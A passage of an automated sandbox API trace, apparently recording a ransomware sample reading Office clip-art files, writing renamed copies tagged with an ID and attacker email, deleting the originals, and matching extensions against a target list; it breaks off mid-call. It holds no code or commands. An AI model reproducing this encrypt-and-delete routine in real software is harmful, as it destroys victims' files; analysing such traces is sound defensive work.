CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.246] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.246] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0052.246] GetLastError () returned 0x0 [0052.246] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x19ec, lpOverlapped=0x0) returned 1 [0052.247] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0052.248] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.248] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.248] SetEndOfFile (hFile=0x1ec) returned 1 [0052.249] CloseHandle (hObject=0x1ec) returned 1 [0052.249] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.249] SetEndOfFile (hFile=0x1e8) returned 1 [0052.250] CloseHandle (hObject=0x1e8) returned 1 [0052.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0052.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0052.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0052.250] lstrlenW (lpString=".doc") returned 4 [0052.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.250] lstrlenW (lpString=".docx") returned 5 [0052.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.250] lstrlenW (lpString=".pdf") returned 4 [0052.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.250] lstrlenW (lpString=".xls") returned 4 [0052.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.250] lstrlenW (lpString=".xlsx") returned 5 [0052.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.250] lstrlenW (lpString=".ppt") returned 4 [0052.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0052.250] lstrlenW (lpString=".zip") returned 4 [0052.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.250] lstrlenW (lpString=".rar") returned 4 [0052.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.251] lstrlenW (lpString=".bz2") returned 4 [0052.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.251] lstrlenW (lpString=".7z") returned 3 [0052.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0052.251] lstrlenW (lpString=".dbf") returned 4 [0052.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0052.251] lstrlenW (lpString=".1cd") returned 4 [0052.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0052.251] lstrlenW (lpString=".jpg") returned 4 [0052.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.251] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=4612) returned 1 [0052.251] CloseHandle (hObject=0x1e8) returned 1 [0052.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0052.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0052.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.252] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.252] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0052.252] GetLastError () returned 0x0 [0052.252] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x1204, lpOverlapped=0x0) returned 1 [0052.254] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x1210, lpOverlapped=0x0) returned 1 [0052.255] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.255] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.255] SetEndOfFile (hFile=0x1ec) returned 1 [0052.255] CloseHandle (hObject=0x1ec) returned 1 [0052.255] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.255] SetEndOfFile (hFile=0x1e8) returned 1 [0052.256] CloseHandle (hObject=0x1e8) returned 1 [0052.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0052.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0052.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0052.256] lstrlenW (lpString=".doc") returned 4 [0052.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.256] lstrlenW (lpString=".docx") returned 5 [0052.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.256] lstrlenW (lpString=".pdf") returned 4 [0052.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.257] lstrlenW (lpString=".xls") returned 4 [0052.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.257] lstrlenW (lpString=".xlsx") returned 5 [0052.257] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.257] lstrlenW (lpString=".ppt") returned 4 [0052.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0052.257] lstrlenW (lpString=".zip") returned 4 [0052.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.257] lstrlenW (lpString=".rar") returned 4 [0052.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.257] lstrlenW (lpString=".bz2") returned 4 [0052.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.257] lstrlenW (lpString=".7z") returned 3 [0052.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0052.257] lstrlenW (lpString=".dbf") returned 4 [0052.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0052.257] lstrlenW (lpString=".1cd") returned 4 [0052.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0052.257] lstrlenW (lpString=".jpg") returned 4 [0052.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.257] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=3144) returned 1 [0052.257] CloseHandle (hObject=0x1e8) returned 1 [0052.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0052.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0052.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.258] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.258] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0052.258] GetLastError () returned 0x0 [0052.258] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xc48, lpOverlapped=0x0) returned 1 [0052.260] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0052.260] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.261] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.261] SetEndOfFile (hFile=0x1ec) returned 1 [0052.261] CloseHandle (hObject=0x1ec) returned 1 [0052.261] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.261] SetEndOfFile (hFile=0x1e8) returned 1 [0052.262] CloseHandle (hObject=0x1e8) returned 1 [0052.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0052.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0052.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0052.262] lstrlenW (lpString=".doc") returned 4 [0052.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.262] lstrlenW (lpString=".docx") returned 5 [0052.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.262] lstrlenW (lpString=".pdf") returned 4 [0052.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.262] lstrlenW (lpString=".xls") returned 4 [0052.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.262] lstrlenW (lpString=".xlsx") returned 5 [0052.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.262] lstrlenW (lpString=".ppt") returned 4 [0052.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0052.263] lstrlenW (lpString=".zip") returned 4 [0052.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.263] lstrlenW (lpString=".rar") returned 4 [0052.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.263] lstrlenW (lpString=".bz2") returned 4 [0052.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.263] lstrlenW (lpString=".7z") returned 3 [0052.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0052.263] lstrlenW (lpString=".dbf") returned 4 [0052.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0052.263] lstrlenW (lpString=".1cd") returned 4 [0052.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0052.263] lstrlenW (lpString=".jpg") returned 4 [0052.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.489] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.489] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0054.489] GetLastError () returned 0x0 [0054.489] ReadFile (in: hFile=0x220, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x1df4, lpOverlapped=0x0) returned 1 [0054.491] WriteFile (in: hFile=0x230, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x1e00, lpOverlapped=0x0) returned 1 [0054.492] ReadFile (in: hFile=0x220, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.492] WriteFile (in: hFile=0x230, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.492] SetEndOfFile (hFile=0x230) returned 1 [0054.492] CloseHandle (hObject=0x230) returned 1 [0054.492] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.492] SetEndOfFile (hFile=0x220) returned 1 [0054.493] CloseHandle (hObject=0x220) returned 1 [0054.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0054.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0054.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0054.494] lstrlenW (lpString=".doc") returned 4 [0054.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.494] lstrlenW (lpString=".docx") returned 5 [0054.494] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.494] lstrlenW (lpString=".pdf") returned 4 [0054.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.494] lstrlenW (lpString=".xls") returned 4 [0054.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.494] lstrlenW (lpString=".xlsx") returned 5 [0054.494] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.494] lstrlenW (lpString=".ppt") returned 4 [0054.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0054.494] lstrlenW (lpString=".zip") returned 4 [0054.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.494] lstrlenW (lpString=".rar") returned 4 [0054.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.494] lstrlenW (lpString=".bz2") returned 4 [0054.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.495] lstrlenW (lpString=".7z") returned 3 [0054.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0054.495] lstrlenW (lpString=".dbf") returned 4 [0054.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0054.495] lstrlenW (lpString=".1cd") returned 4 [0054.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0054.495] lstrlenW (lpString=".jpg") returned 4 [0054.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.495] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.495] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0054.495] GetLastError () returned 0x0 [0054.496] ReadFile (in: hFile=0x220, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xc9c, lpOverlapped=0x0) returned 1 [0054.497] WriteFile (in: hFile=0x230, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xca0, lpOverlapped=0x0) returned 1 [0054.498] ReadFile (in: hFile=0x220, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.498] WriteFile (in: hFile=0x230, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.498] SetEndOfFile (hFile=0x230) returned 1 [0054.499] CloseHandle (hObject=0x230) returned 1 [0054.499] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.499] SetEndOfFile (hFile=0x220) returned 1 [0054.499] CloseHandle (hObject=0x220) returned 1 [0054.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0054.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0054.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0054.500] lstrlenW (lpString=".doc") returned 4 [0054.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.500] lstrlenW (lpString=".docx") returned 5 [0054.500] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.500] lstrlenW (lpString=".pdf") returned 4 [0054.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.500] lstrlenW (lpString=".xls") returned 4 [0054.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.501] lstrlenW (lpString=".xlsx") returned 5 [0054.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.501] lstrlenW (lpString=".ppt") returned 4 [0054.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0054.501] lstrlenW (lpString=".zip") returned 4 [0054.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.501] lstrlenW (lpString=".rar") returned 4 [0054.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.501] lstrlenW (lpString=".bz2") returned 4 [0054.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.501] lstrlenW (lpString=".7z") returned 3 [0054.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0054.501] lstrlenW (lpString=".dbf") returned 4 [0054.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0054.501] lstrlenW (lpString=".1cd") returned 4 [0054.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0054.502] lstrlenW 